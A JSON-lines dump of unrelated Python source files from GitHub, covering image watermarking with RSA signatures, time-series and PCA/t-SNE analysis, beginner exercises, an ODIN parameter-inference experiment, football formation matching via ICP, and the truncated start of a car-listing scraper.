appoximately 1024-bit signature).\n '''\n signature = rsaKey.sign(fileHash.digest(), '')\n return signature\n\n\ndef read_bits(signature, shift):\n '''\n Description: This function will read the bits in a signature one a time.\n\n References:\n http://docs.scipy.org/doc/numpy/reference/generated/numpy.right_shift.html\n http://docs.scipy.org/doc/numpy/reference/generated/numpy.binary_repr.html\n\n input args:\n signature is the RSA signature generated by sign_hash function\n shift is an integer argument that specifies how many bits to shift the signature\n by.\n\n output:\n A tuple with two elements. Element 0 is an integer which will be a 0 or 1 \n corresponding to the shift size. Element 1, sigLength, is the length of the \n signature in bits.\n '''\n #Do a binary right shift of the signature by the shift parameter\n sig = np.right_shift(signature[0], shift)\n #Get the binary string representation of the shifted signature\n bitStr = np.binary_repr(sig)\n sigLength = len(bitStr)\n #Get the last number in bit string converted to an int and return\n return int(bitStr[-1]), sigLength\n\n\ndef apply_watermark(signature, image):\n '''\n Description: This function applies the signature as a watermark to the image\n by changing the least signficant bit in each pixel to that of the digital\n signature.\n\n input args:\n signature: the RSA signature generated by the sign_hash function\n image: the image to be watermarked\n\n output:\n image is returned as the watermarked version\n '''\n shift = 0\n # Nested for loop to iterate through each pixel from top left to right and\n # moving back to the left on the next row after all columns.\n for i in range(0, image.shape[0]):\n for j in range(0, image.shape[1]):\n for k in range(0, 3):\n # Convert pixel value to binary string\n binStr = bin(image[i, j, k])\n # Remove least signficant bit from the string\n binStr = binStr[0:-1]\n # Append signature bit to binStr (i.e. watermark value)\n binStr = binStr + str(read_bits(signature, shift)[0])\n # Change pixel to watermarked value\n image[i, j, k] = int(binStr, 2)\n shift += 1\n if shift == read_bits(signature, 0)[1]:\n return image\n\ndef read_watermark(image, sigLength):\n '''\n Description: This function will read the watermark from the image.\n\n input args:\n image is the watermarked image from which to extract the signature\n sigLength is the length of the watermark in bits\n\n output:\n sigTuple is the watermark in a tuple format so we can easily verify that the \n signature is authentic.\n '''\n counter = 0\n signature = ''\n for i in range(0, image.shape[0]):\n for j in range(0, image.shape[1]):\n for k in range(0, 3):\n binStr = bin(image[i, j, k])\n signature = binStr[-1] + signature\n counter += 1\n if counter == sigLength:\n sigInteger = int(signature, 2)\n # Assign sigInteger to a tuple with only one element\n sigTuple = (sigInteger,)\n return sigTuple\n\ndef watermark_dir(key, IMAGE_PATH):\n '''\n Description: This function will watermark an entire directory of images.\n\n input args:\n key is the key created by the key gen_RSA_keys function\n IMAGE_PATH is the full path of the folder containing the images\n\n output:\n One output image will be create for each image in the directory. All of\n the output images will be prefixed with 'wm_' to indicate that they are\n watermarked.\n '''\n # Initialize tuple of valid file extensions\n validExt = ('.jpg', '.jpeg', '.png', '.bmp', '.tif', '.tiff')\n # Create list of images\n imageList = os.listdir(IMAGE_PATH)\n # Iterate through every image in path\n for imageFile in imageList:\n # Split the name from the extension\n imageName, imageExt = os.path.splitext(imageFile)\n if imageExt.lower() in validExt:\n fullPath = IMAGE_PATH + imageFile\n image = cv2.imread(fullPath)\n imageHash = hash_file(fullPath)\n signature = sign_hash(key, imageHash)\n watermarkedImage = apply_watermark(signature, image)\n cv2.imwrite(IMAGE_PATH + 'wm_' + imageName + '.png', watermarkedImage)\n\n\n\n'''\nNeed function read a private and public RSA key and load as a pycrypto key object\nin memory.\n\nRewrite hash function to handle larger files.\n'''\n\ndef import_key(KEY_PATH):\n '''\n Description: This function reads an RSA key file in PKCS#1 or PKCS#8 in \n binary or PEM encoding. It can also read OpenSSH text keys.\n\n References:\n https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey.RSA-module.html#importKey\n https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey.RSA._RSAobj-class.html\n http://joelvroom.blogspot.com/2013/07/encryption-in-python-pycrypto.html\n http://pumka.net/2009/12/19/reading-writing-and-converting-rsa-keys-in-pem-der-publickeyblob-and-privatekeyblob-formats/\n\n input args:\n KEY_PATH is the full path to the key file\n\n output:\n RSAObject is a pycrypto RSAobj which includes the following fields: modulus\n and size, public exponent, private exponent, the two generating primes, and\n the CRT coefficient (1/p) mod q.\n '''\n keyFile = open(KEY_PATH, 'rb')\n keyString = keyFile.read()\n keyFile.close()\n RSAObject = RSA.importKey(keyString)\n return RSAObject\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jassimran/Watermarking","sub_path":"fp_functions.py","file_name":"fp_functions.py","file_ext":"py","file_size_in_byte":8044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71912599786","text":"\"\"\"\n@author: Maximilian Ditz\n\"\"\"\n\nimport os\nimport glob\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom statsmodels.graphics import tsaplots\nimport statsmodels.api as sm\nfrom weather_api import convertDateTimeListToString, getApiArguments, saveDictToJSON\n\n# Argumente für diese Funktion Lag, Zeitspanne\n\n# __________________________Importieren und Transformieren der AKF-Daten__________________________\npath = os.path.dirname(__file__)\nfilenames = glob.glob(path + \"/data\" + \"/*.csv\")\n\ndfs = []\nfor filename in filenames:\n dfs.append(pd.read_csv(filename, usecols=[\"date\", \"tavg\"]))\n\nweather_pb_df = pd.concat(dfs, ignore_index=True)\nweather_pb_df['date'] = pd.to_datetime(weather_pb_df.date, format='%Y/%m/%d')\nweather_pb_df = weather_pb_df.sort_values('date')\nweather_pb_df = weather_pb_df[['date', 'tavg']].set_index(['date'])\n\nprint(weather_pb_df.head())\nprint(weather_pb_df.tail())\nprint(weather_pb_df.isnull().sum())\n\n\nplt.plot(weather_pb_df['1993-01-01':'1994-01-01'])\nplt.show()\nacf = weather_pb_df['1993-01-01':'1994-01-01']\n\n# __________________________Durchführung der AKF auf die Wetter-Daten__________________________\ntsaplots.plot_acf(acf, lags=35)\nplt.show()\n\nacf_erg, ci = sm.tsa.acf(acf, nlags= 35, alpha=0.05) \n\n# __________________________Zentrieren der Confidence Level__________________________\nfor i in range(0, len(acf_erg)):\n ci[i] = ci[i] - acf_erg[i]\n i = i + 1\n\nci_pos = [x[0] for x in ci]\nci_neg = [x[1] for x in ci]\n\n# __________________________Rückgabe-Dictionary erstellen__________________________\nplt.plot(acf_erg)\nplt.plot(ci)\nplt.show()\n\nacf_output = {\n \"acf\": acf_erg.tolist(),\n \"ci_pos\": ci_pos,\n \"ci_neg\": ci_neg \n}\n\n# __________________________AKF-Details zurückgeben__________________________\nsaveDictToJSON(\"output.json\", acf_output)","repo_name":"Zamaruu/fhdw_21q4_data_science","sub_path":"python/weather_acf.py","file_name":"weather_acf.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34640422086","text":"# https://leetcode.com/problems/total-hamming-distance/\nfrom typing import List\n\n\ndef fast_hamming_weight(num: int):\n s = 0\n while num:\n s += 1\n num &= num - 1\n\n return s\n\n\nclass Solution:\n def totalHammingDistance(self, nums: List[int]) -> int:\n s = 0\n for i in range(len(nums)):\n s += sum([fast_hamming_weight(nums[i] ^ x) for x in nums[i:]])\n\n return s\n\n\ndef test_case(nums: List[int]) -> int:\n s = Solution()\n return s.totalHammingDistance(nums)\n","repo_name":"ZhangYet/vanguard","sub_path":"myrtle/befor0225/total_hamming_distance.py","file_name":"total_hamming_distance.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21053603395","text":"\"\"\" \nclass 类名\n def 方法1(self,参数列表):\n pass\n \n def 方法2(self,参数列表):\n pass\n\n创建对象\n 对象变量=类名()\n \"\"\"\n#需求:定义一个猫类\n#吃鱼、喝水\n\nclass Cat:\n def eat(self,eat):\n self.eat=eat\n print(\"小猫爱吃\"+eat)\n def drink(self):\n print(\"小猫爱喝水\")\n#创建猫对象\ntom=Cat()\ntom.eat(\"小鱼\")\ntom.drink()\ntom.name=\"汤姆\"\n\n\n\n\n\n","repo_name":"6iujiale/All_Projects","sub_path":"Python/python基础/练习/面向对象/基本语法.py","file_name":"基本语法.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18708891798","text":"import os\nimport logging\nimport datetime\n\ndef recursive_glob(rootdir=\".\", suffix=\"\"):\n \"\"\"Performs recursive glob with given suffix and rootdir\n :param rootdir is the root directory\n :param suffix is the suffix to be searched\n \"\"\"\n return [\n os.path.join(looproot, filename)\n for looproot, _, filenames in os.walk(rootdir)\n for filename in filenames\n if filename.endswith(suffix)\n ]","repo_name":"anantarb/GNNRansac","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30955598311","text":"import os\nimport re\nimport json\nfrom datetime import datetime\nfrom flask import current_app\n\nfrom .. import db\nfrom ..utils import normalizing\n\n\nclass Origin(db.Model):\n __tablename__ = 'origins'\n id = db.Column(db.Integer, primary_key=True)\n resource = db.Column(db.String(32), nullable=False, index=True)\n name = db.Column(db.String(128), nullable=False, index=True)\n normalize = db.Column(db.String(128), nullable=False, index=True)\n link = db.Column(db.String(256), nullable=False)\n cost = db.Column(db.Integer, nullable=False, default=99)\n disable = db.Column(db.Boolean, default=False)\n deleted = db.Column(db.Boolean, default=False)\n date_created = db.Column(db.DateTime(), default=datetime.utcnow)\n date_modified = db.Column(db.DateTime(), default=datetime.utcnow, onupdate=datetime.utcnow)\n channel_id = db.Column(db.Integer, db.ForeignKey('channels.id'))\n __table_args__ = (db.UniqueConstraint('resource', 'name', name='_resource_name_uc'),)\n\n def __init__(self, **kwargs):\n super(Origin, self).__init__(**kwargs)\n self.normalize = normalizing(self.name)\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'resource': self.resource,\n 'name': self.name,\n 'normalize': self.normalize,\n 'link': self.link,\n 'cost': self.cost,\n 'disable': self.disable,\n 'deleted': self.deleted,\n 'date_created': self.date_created.__str__(),\n 'date_modified': self.date_modified.__str__(),\n 'channel_id': self.channel_id\n }\n\n @staticmethod\n def create_origin(name, resource, **kwargs):\n origin = Origin.query.filter_by(name=name, resource=resource).first()\n if not origin:\n origin = Origin(name=name, resource=resource, **kwargs)\n else:\n kwargs['normalize'] = normalizing(name)\n for k, v in kwargs.items():\n if hasattr(origin, k):\n setattr(origin, k, v)\n db.session.add(origin)\n db.session.commit()\n\n from . import Channel\n if origin.channel_id is None:\n channel = Channel.query.filter_by(normalize=origin.normalize).first()\n if channel is None:\n _origin = Origin.query.filter(Origin.normalize == origin.normalize,\n Origin.channel_id != None).first()\n if _origin:\n origin.channel_id = _origin.channel_id\n else:\n channel = Channel(name=name)\n db.session.add(channel)\n db.session.commit()\n origin.channel_id = channel.id\n else:\n origin.channel_id = channel.id\n db.session.add(origin)\n db.session.commit()\n return origin\n\n @staticmethod\n def on_changed_name(target, value, oldvalue, initiator):\n target.normalize = normalizing(value)\n\n def __repr__(self):\n return '' % self.name\n\ndb.event.listen(Origin.name, 'set', Origin.on_changed_name)\n","repo_name":"rleschuk/tvservice-server","sub_path":"app/models/origin.py","file_name":"origin.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39099742688","text":"#Everything About t-SNE(https://medium.com/swlh/everything-about-t-sne-dde964f0a8c1)\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\n\ndf= pd.read_csv(\"Datasets/mushrooms.csv\")\nprint(df.head())\nprint(df.describe())\n\nX = df.drop('class', axis=1)\ny = df['class']\ny = y.map({'p': 'Posionous', 'e': 'Edible'})\n\ncat_cols= X.select_dtypes(include='object').columns.tolist()\n\nfor col in cat_cols:\n X[col]=X[col].astype(\"category\")\n X[col]=X[col].cat.codes\nprint(X.head())\n\nX_std = StandardScaler().fit_transform(X)\nX_pca = PCA(n_components=2).fit_transform(X_std)\nX_pca = np.vstack((X_pca.T, y)).T\ndf_pca = pd.DataFrame(X_pca, columns=['1st_Component', '2nd_Component', 'class'])\nprint(df_pca.head())\n\nplt.figure(figsize=(8, 8))\nsns.scatterplot(data=df_pca, hue='class', x='1st_Component', y='2nd_Component')\nplt.show()\n\ntsne = TSNE(n_components=2, perplexity=30, n_iter=5000)\nX_tsne = tsne.fit_transform(X_std)\nX_tsne_data = np.vstack((X_tsne.T, y)).T\ndf_tsne = pd.DataFrame(X_tsne_data, columns=['Dim1', 'Dim2', 'class'])\nprint(df_tsne.head())\n\nplt.figure(figsize=(8, 8))\nsns.scatterplot(data=df_tsne, hue='class', x='Dim1', y='Dim2')\nplt.show()","repo_name":"vicwei8128/Python_practise","sub_path":"Python_Demo/PCA/PCATSNEComparison.py","file_name":"PCATSNEComparison.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31617725670","text":"num = float(input(\"Digite um número: \"))\r\n\r\nif num > 10:\r\n print(\"O seu número\", num, \"é maior que 10\")\r\nelse:\r\n print(\"O seu número\", num, \"é menor que 10\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nnum = float(input(\"Digite um número: \"))\r\n\r\nif num < 0:\r\n print(\"Seu número é negativo\")\r\nelse:\r\n print(\"Seu número é positivo\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nmaças = int(input(\"Quantas maçãs você vai comprar? \"))\r\n\r\nif maças >= 12:\r\n valor = maças * 1\r\n print(\"O valor será de \", valor, \"R$\")\r\nelse:\r\n valor2 = maças * 1.3\r\n print(\"O valor será de \", valor2, \"R$\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nnota1 = float(input(\"Qual a primeira nota? \"))\r\nnota2 = float(input(\"Qual a segunda nota? \"))\r\n\r\nmedia = (nota1 + nota2) / 2\r\n\r\nif media >= 6:\r\n print(\"Sua média foi \", media, \"logo você passou!\")\r\nelse:\r\n print(\"Sua média foi \", media, \"logo você reprovou!\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nnum1 = float(input(\"Diga um número: \"))\r\nnum2 = float(input(\"Diga outro número: \"))\r\n\r\nwhile num1 == num2:\r\n print(\"Os números são iguais. Digite outro número diferente de\", num1)\r\n num2 = float(input(\"Diga outro número: \"))\r\n break\r\nif num1 > num2:\r\n print(\"o número\", num1, \"é maior que\", num2)\r\nelse:\r\n print(\"o número\", num2, \"é maior que\", num1)\r\n \r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nnum1 = float(input(\"Diga um número: \"))\r\nnum2 = float(input(\"Diga outro número: \"))\r\n\r\nwhile num1 == num2:\r\n print(\"Os números são iguais. Digite outro número diferente de\", num1)\r\n num2 = float(input(\"Diga outro número: \"))\r\n break\r\nif num1 > num2:\r\n print(num2, num1)\r\nelse:\r\n print(num1, num2)\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nconta = int(input(\"Digite o número da conta: \"))\r\nsaldo = float(input(\"Digite o saldo da conta: \"))\r\ndebito = float(input(\"Digite o débito da conta: \"))\r\ncredito = float(input(\"Digite o crédito da conta: \"))\r\n\r\nsaldoatual = saldo - debito + credito\r\n\r\nif saldoatual > 0:\r\n print(\"Seu saldo da conta\", conta, \"é\", saldoatual, \"logo é positivo!\")\r\nelse:\r\n print(\"Seu saldo da conta\", conta, \"é\", saldoatual, \"logo é negativo!\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nquantidadeatual = int(input(\"Qual a quantidade atual do estoque? \"))\r\nquantidademaxima = float(input(\"Qual a quantidade máxima do estoque? \"))\r\nquantidademinima = float(input(\"Qual a quantidade mínima do estoque? \"))\r\n\r\nquantidademedia = (quantidademaxima + quantidademinima) / 2\r\n\r\nif quantidadeatual >= quantidademedia:\r\n print(quantidademedia, \"logo, não efetuar compra.\")\r\nelse:\r\n print(quantidademedia,\" logo, efetuar compra.\")\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------#\r\n\r\nnota1 = float(input(\"Qual a primeira nota? \"))\r\nnota2 = float(input(\"Qual a segunda nota? \"))\r\n\r\nnotamedia = (nota1 + nota2) / 2\r\n\r\nif notamedia < 4:\r\n print(\"(E)\")\r\n print(\"Sua média foi\", notamedia, \", assim você está reprovado\")\r\nelif notamedia >= 4 and notamedia < 6:\r\n print((\"D\"))\r\n print(\"Sua média foi\", notamedia, \", assim você está reprovado\")\r\nelif notamedia >= 6 and notamedia < 7.5:\r\n print((\"C\"))\r\n print(\"Sua média foi\", notamedia, \", assim você está aprovado\")\r\nelif notamedia >= 7.5 and notamedia < 9:\r\n print((\"B\"))\r\n print(\"Sua média foi\", notamedia, \", assim você está aprovado\")\r\nelif notamedia >= 9:\r\n print((\"A\"))\r\n print(\"Sua média foi\", notamedia, \", assim você está aprovado\")\r\n","repo_name":"NataComTill/listaseforca","sub_path":"exercicio2.py","file_name":"exercicio2.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33932137105","text":"import torch\nimport torchvision\nimport mmcv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimage_path = '../Dataset/sunflower.jpg'\n\n\ndef main():\n\n bgr_img = mmcv.imread(image_path)\n\n h, w, _ = bgr_img.shape\n # convert color\n rgb_img = mmcv.bgr2rgb(bgr_img)\n\n # resize\n resize_img = mmcv.imresize(rgb_img, size=(256, 256))\n\n # rotate\n rotate_img =mmcv.imrotate(rgb_img, angle=45)\n\n # flip\n flip_img = mmcv.imflip(rgb_img, direction='horizontal')\n\n # crop\n if h <= w:\n y_min, y_max = 0, h\n x_min = int(( w - h) / 2)\n x_max = x_min + h\n else:\n x_min, x_max = 0, h\n y_min = int((h - w) / 2)\n y_max = y_min + w\n bbox = np.array([x_min, y_min, x_max, y_max])\n crop_img = mmcv.imcrop(rgb_img, bbox)\n\n # padding\n max_size = max(h, w)\n pad_img = mmcv.impad(rgb_img, shape=(max_size, max_size), padding_mode='constant')\n\n mmcv.imshow(mmcv.rgb2bgr(pad_img))\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"alexchungio/Pytorch-Learning-Advance","sub_path":"open_mmlab/mmcv_demo.py","file_name":"mmcv_demo.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36535893020","text":"# Import libraries\nimport numpy as np\nimport tensorflow as tf\nfrom odin import FitzHughNagumo\nfrom odin import TrainableFitzHughNagumo\nfrom odin import ODIN\n\n\nfrom pathlib import Path\n\nFILEDIR = Path(__file__).parent.absolute()\nfor noise, filepath1, filepath2 in (\n (\n 0.005,\n FILEDIR / \"results/fhn_lownoise_odin.txt\",\n FILEDIR / \"results/fhn_lownoise_odin_withiv.txt\",\n ),\n (\n 0.05,\n FILEDIR / \"results/fhn_highnoise_odin.txt\",\n FILEDIR / \"results/fhn_highnoise_odin_withiv.txt\",\n ),\n):\n for i in range(100):\n\n # 1) Use the provided utilities class to simulate some noisy observations of\n # the FitzHugh-Nagumo model\n\n # Simulate the data\n fitzhugh_nagumo_simulator = FitzHughNagumo(\n true_param=(0.2, 0.2, 3.0),\n # noise_variance=0.0,\n # stn_ratio=SNR\n noise_variance=noise,\n )\n system_obs, t_obs = fitzhugh_nagumo_simulator.observe(\n initial_state=(-1.0, 1.0),\n initial_time=0.0,\n final_time=10.0,\n t_delta_integration=0.01,\n t_delta_observation=0.5,\n )\n n_states, n_points = system_obs.shape\n\n # 2) Initialize the provided TrainableFitzHughNagumo class and set some bounds\n # for the theta variables\n\n # Constraints on parameters\n theta_bounds = np.array([[0.0, 100.0], [0.0, 100.0], [0.0, 100.0]])\n\n trainable_fitzhugh_nagumo = TrainableFitzHughNagumo(\n n_states, n_points, bounds=theta_bounds\n )\n\n # 3) Run the actual ODIN regression by initializing the optimizer, building the\n # model and calling the fit() function\n\n # ODIN optimizer\n odin_optimizer = ODIN(\n trainable_fitzhugh_nagumo,\n system_obs,\n t_obs,\n gp_kernel=\"Matern52\", # For FHN we use the Matern kernel\n optimizer=\"L-BFGS-B\", # L-BFGS-B optimizer for the bounds\n initial_gamma=1.0, # initial gamma value\n train_gamma=True, # gamma will be trained as well\n single_gp=True, # Here we use one GP per state\n # basinhopping=True, # Basinhopping activated\n # basinhopping_options={\"n_iter\": 10}, # Set 10 iterations\n basinhopping=False, # Basinhopping activated\n time_normalization=True, # time normalization on\n state_normalization=True,\n ) # states normalization on\n\n # Build the model\n odin_optimizer.build_model()\n\n # Fit the model\n final_theta, final_gamma, final_x = odin_optimizer.fit()\n\n print(i)\n print(final_theta)\n with filepath1.open(\"a\") as f:\n final_theta.tofile(f, sep=\",\")\n f.write(\"\\n\")\n with filepath2.open(\"a\") as f:\n np.concatenate((final_x[:, 0].flatten(), final_theta.flatten())).tofile(\n f, sep=\",\"\n )\n f.write(\"\\n\")\n","repo_name":"nathanaelbosch/fenrir-experiments","sub_path":"experiments/1/run_odin_fhn.py","file_name":"run_odin_fhn.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"71503074666","text":"import json\nimport numpy as np\nfrom numpy.linalg import inv\nimport matplotlib.pyplot as plt\nfrom itertools import combinations, permutations\nfrom sklearn.neighbors import NearestNeighbors\nfrom scipy.spatial.distance import cdist\nfrom scipy.optimize import linear_sum_assignment\nimport time\nimport datetime\n\ndef AffineMatrixEstimate(input_vec,output_vec):\n '''\n input_vec: shape (m,2)\n output_vec: shape (m,2)\n return matrix: T:input_vec->output_vec\n '''\n assert input_vec.shape == output_vec.shape\n # print(input_vec.shape)\n num = np.shape(input_vec)[0]\n ones_col = np.ones([num,1])\n ones_zeros = np.zeros([num,3])\n A_l = np.column_stack((input_vec,ones_col,ones_zeros))\n A_r = np.column_stack((ones_zeros,input_vec,ones_col))\n A = np.column_stack((A_l.reshape(num*2,-1),A_r.reshape(num*2,-1)))\n B = output_vec.reshape([-1,1])\n # print(np.round(np.dot(A.T,A)))\n res = np.dot(inv(np.dot(A.T,A)),np.dot(A.T,B)).reshape([2,3])\n # print(np.round(np.dot(res,np.column_stack((input_vec,ones_col)).T)))\n # print(output_vec.T)\n return np.row_stack((res,(0,0,1)))\n\ndef Project(input_vec,affine_matrix):\n num = np.shape(input_vec)[0]\n ones_col = np.ones([num,1])\n A = np.column_stack((input_vec,ones_col)).T\n res = np.dot(affine_matrix,A)\n return res[0:2,:].T\n\ndef compute_Error(vec1,vec2):\n num = np.shape(vec1)[0]\n element_2 = (vec1 - vec2)**2\n element_sqrt = np.sqrt(np.sum(element_2,axis = 1))\n return np.sum(element_sqrt)/num\n\n\n\ndef nearest_neighbor(src, dst):\n '''\n Find the nearest (Euclidean) neighbor in dst for each point in src\n Input:\n src: Nxm array of points\n dst: Nxm array of points\n Output:\n distances: Euclidean distances of the nearest neighbor\n indices: dst indices of the nearest neighbor\n '''\n\n assert src.shape == dst.shape\n loss_matrix = cdist(src,dst)\n # print(loss_matrix)\n row_ind, col_ind = linear_sum_assignment(loss_matrix)\n distances = loss_matrix[row_ind, col_ind]\n return distances,col_ind\n\ndef EvaluateTemplateError(field_vec,template_vec,affine_matrix):\n '''\n affine_matrix: The homogeneous transformation matrix from field_vec to template_vec\n '''\n a_inv = inv(affine_matrix)\n tem_to_field = Project(template_vec,a_inv)\n distance,_ = nearest_neighbor(field_vec,tem_to_field)\n return np.sum(distance)\n\ndef icp(A,B,min_local_optimazation = 20,max_iterations = 2000,tolerance=0.00001):\n assert A.shape == B.shape\n\n src = np.copy(A)\n dst = np.copy(B)\n\n prev_error = 0\n\n for i in range(max_iterations):\n # find the nearest neighbors between the current source and destination points\n distances, indices = nearest_neighbor(src, dst)\n # print(indices)\n\n # compute the transformation between the current source and nearest destination points\n T = AffineMatrixEstimate(src, dst[indices])\n\n # update the current source\n src = Project(src,T)\n\n # check error\n mean_error = np.mean(distances)\n if np.abs(prev_error - mean_error) < tolerance and i > min_local_optimazation:\n break\n prev_error = mean_error\n T = AffineMatrixEstimate(A, src)\n return T, distances, i, indices\n\ndef ImportFromTemplate(filepath):\n with open(filepath,'r') as w:\n template = json.load(w)\n data = []\n name = []\n for i in template:\n name.append(i['name'])\n merged = i['backward'] + i['midfielder'] + i['forward']\n data.append(merged)\n return np.array(data),name\n\ndef time_to_str():\n return datetime.datetime.now().strftime(\"%y-%m-%d-%H-%M\")\n \n\nif __name__ == \"__main__\":\n # output = 'result.json'\n # www = open(output,'w+')\n data = []\n hist = np.zeros(16)\n count = 0\n with open(\"on-off.json\",'r') as w:\n original_label = json.load(w)[\"Events\"]\n with open(\"position.json\",'r') as w:\n original_data = json.load(w)\n templates, names = ImportFromTemplate('templates.json')\n on_off_idx = 0\n while on_off_idx < len(original_label):\n start_idx = original_label[on_off_idx][\"frame\"]\n end_idx = original_label[on_off_idx + 1][\"frame\"]\n on_off_idx += 2\n\n for k in range(start_idx,end_idx):\n points = np.zeros([10,2])\n for i in range(10):\n points[i,0] = original_data[k]['Brazil'][i]['x']\n points[i,1] = original_data[k]['Brazil'][i]['y']\n least_err = 1000000\n least_idx = 0\n err_array = np.zeros(np.shape(templates)[0])\n ProjectedToTemplate = []\n for j in range(np.shape(templates)[0]):\n C = points.copy()\n D = templates[j].copy()\n if k < 64767:\n D[:,0] = 1050 - D[:,0]\n T,err,i,indices = icp(C,D)\n E = Project(C,T)\n ProjectedToTemplate.append(E.tolist())\n error = EvaluateTemplateError(C,D,T)\n err_array[j] = error\n if error < least_err:\n least_err = error\n least_idx = j\n sort_error_index = np.argsort(err_array)\n # print(sort_error_index[0:5])\n # print(err_array[sort_error_index[0:5]])\n # print(names[sort_error_index[0:5]])\n print(\"number, 5 smallest errors & names, variance:\\n\",k,err_array[sort_error_index[0:5]],[names[sort_error_index[i]] for i in range(5)],np.var(err_array[sort_error_index[0:5]]))\n this_element = {'frame':k,'errors':err_array[sort_error_index[0:16]].tolist(),\"names\":[names[sort_error_index[i]] for i in range(16)],\"indices\":indices.tolist(),\"Projected_To_Template\":ProjectedToTemplate}\n data.append(this_element)\n print(names[least_idx])\n hist[least_idx] += 1\n if count > 0 and count % 1000 == 0:\n # y_pos = np.arange(len(names))\n # plt.barh(y_pos, hist, align='center', alpha=0.5)\n # plt.yticks(y_pos, names)\n # plt.xlabel('Usage')\n # fig_name = 'result/' + 'count_' + str(count) + '_' + time_to_str() + '.png'\n # plt.title('formation detection result' + ' count: ' + str(count) +'_' + time_to_str())\n # plt.savefig(fig_name)\n # plt.close()\n save_name = 'result/json_perK/Brazil/' + 'count_' + str(count) + '_' + time_to_str() + '.json'\n with open(save_name,'w+') as w:\n json.dump(data,w,indent = 4)\n data = []\n count += 1\n # if count >5:\n # break\n # break\n save_name = 'result/json_perK/Brazil/' + 'count_' + str(count) + '_' + time_to_str() + '.json'\n with open(save_name,'w+') as w:\n json.dump(data,w)\n\n \n y_pos = np.arange(len(names))\n \n # plt.barh(y_pos, hist, align='center', alpha=0.5)\n # plt.yticks(y_pos, names)\n # plt.xlabel('Usage')\n # plt.title('formation detection result')\n # plt.savefig('plt_pics/result2.png')\n # plt.show()\n \n","repo_name":"dengdazhen/FormationExtraction","sub_path":"AffineTransformation.py","file_name":"AffineTransformation.py","file_ext":"py","file_size_in_byte":7133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1673718978","text":"import logging\nimport logging.handlers\nimport pickle as pkl\nimport random\nimport re\nimport sys\nfrom itertools import product, tee\nfrom pathlib import Path\nfrom time import sleep\nfrom urllib.parse import parse_qs, urljoin, urlparse\n\nimport cfscrape\nfrom numpy.random import default_rng\nrng = default_rng()\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n#TODO: Run with >1 thread + proxies - would simply segment these partitions i reckon, or split the retrieval of ads\n#TODO: Extract exactly the data we need and tabulate it so we don't have pickled objects\n#TODO: Look into just using the 'https://www.autotrader.co.uk/json/fpa/initial/' endpoint and getting everything we want \n# from there via a list of ad ids on search page\n\ndef pairwise(iterable):\n # From https://docs.python.org/3/library/itertools.html#itertools-recipes\n \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n a, b = tee(iterable)\n next(b, None)\n return zip(a, b)\n\nrfh = logging.handlers.RotatingFileHandler(\n filename='data/scraper.log', \n mode='w',\n maxBytes=0.5*1024*1024*1024,\n backupCount=2,\n encoding=None,\n delay=0\n)\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(asctime)s %(name)-25s %(levelname)-8s %(message)s\",\n datefmt=\"%y-%m-%d %H:%M:%S\",\n handlers=[\n rfh\n ]\n)\n\n# Deeply nested data structure means recursive pickling needs a larger stack to work with\nsys.setrecursionlimit(50000)\n\n\nBACKUP_FREQ = 500 # ads, remember there is ~10 per page\nSAVE_DIR = Path(\"/mnt/data/car_auction_data\")\n\nSORT_KEY = 'relevance'\nGUID_PATTERN = 'window\\.AT\\.correlationId = \"([\\w|.|-]+)'\nDELAY = 1 # seconds, minimum delay between a barrage of requests to play nicely\nTIMEOUT = 3.05 # seconds\nIMAGES_TO_KEEP = 7 # Usually after first 7 images it is all interiors etc.\n\nROOT = 'https://www.autotrader.co.uk'\nJSON_ENDPOINT = urljoin(ROOT, 